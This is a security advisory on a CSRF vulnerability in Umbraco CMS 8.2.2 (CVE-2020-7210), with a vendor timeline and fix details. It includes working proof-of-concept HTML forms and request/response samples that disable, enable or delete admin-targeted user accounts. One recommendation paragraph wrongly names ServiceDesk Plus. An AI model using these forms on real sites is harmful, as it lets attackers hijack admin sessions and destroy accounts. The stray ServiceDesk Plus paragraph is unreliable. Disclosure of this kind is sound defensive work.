Cross-Site Request Forgery (CSRF) in Umbraco CMS

Project Description

The Umbraco CMS suffers from a cross-site request forgery (CSRF) vulnerability which could allow an attacker to perform arbitrary web requests with the identity of the victim, e.g. in order to enable/disable or delete user accounts.


Vendor description

“Umbraco 8 is the latest version of Umbraco CMS. It’s the fastest and best version of Umbraco and a big step forward in regard to making your work with Umbraco simpler; simpler to extend, simpler to edit, simpler to publish – simpler to use, simpler to enjoy.

Source: https://umbraco.com/products/umbraco-cms/umbraco-8/

Business recommendation

The vendor published a patch for ServiceDesk Plus with service pack 11010. It is recommended to install the patch with the included patcher. An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues.

Vulnerability overview/description

Cross-Site Request Forgery (CVE-2020-7210)

An attacker can use cross-site request forgery to perform arbitrary web requests with the identity of the victim, without being noticed by the victim. This attack always requires some sort of user interaction, usually the victim needs to click on an attacker-prepared link or visit a page under control of the attacker. Due to this, an attacker is able to enable/disable or delete accounts. This may lead to DoS of user accounts.

Proof of concept

Cross-Site Request Forgery (CVE-2020-7210)

In a live attack scenario, the following HTML document would be hosted on a malicious website, controlled by the attacker.

Example 1: HTML-code for disabling user:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

 

Request:

POST /umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

 

Response:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: 
Date: Wed, 06 Nov 2019 10:57:45 GMT
Connection: close

)]}',
{"notifications":[{"header":" is now disabled","message":"","type":3}],"message":" is now disabled"}

Example 2: HTML-code for enabling user:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

 

Response:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 110
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 06 Nov 2019 10:58:12 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}],"message":"<USERNAME> is now enabled"}

 

Example 3: HTML-code for deleting user:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

 

Request:

POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

 

Response:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 114
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:58:36 GMT
Connection: close

)]}',
{"notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}],"message":"User <USERNAME> was deleted"}

As soon as an authenticated victim (admin) visits a website with this HTML code embedded, the payload would get executed in the context of the victim’s session. Although responses to these requests are not delivered to the attacker, in many cases it is sufficient to be able to compromise the integrity of the victim’s information stored on the site or to perform certain, possibly compromising requests to other sites.

Vulnerable / tested versions

The following version was tested and found to be vulnerable:

  • version 8.2.2

Vendor contact timeline

2019-11-13Contacting vendor through security@umbraco.com.
2019-11-13Requesting encryption keys.
2019-11-14Encryption issues.
2019-11-15Encryption issues, sending advisory in unencrypted form.
2019-11-25No response, requesting status update.
2019-11-28Vendor confirmed vulnerability.
2020-01-03Confirming the release date.
2020-01-14Release of updated CMS version 8.5.0.
2020-01-23Release of security advisory.

Solution

The vendor provides an updated version which should be installed immediately:

https://our.umbraco.com/download/releases/850

Workaround

No workaround available.

Advisory URL

https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

EOF Anastasia Melnikova / @2020

Interested to work with the experts of SEC Consult? Send us your application
Want to improve your own cyber security with the experts of SEC Consult? Contact our local offices.

Project Details

  • TitleCross-Site Request Forgery (CSRF)
  • ProductUmbraco CMS
  • Vulnerable versionversion 8.2.2
  • Fixed versionversion 8.5
  • CVE numberCVE-2020-7210
  • Impactmedium
  • Homepagehttps://umbraco.com/
  • FoundOctober 2019
  • ByAnastasia Melnikova (Office Moscow) | SEC Consult Vulnerability Lab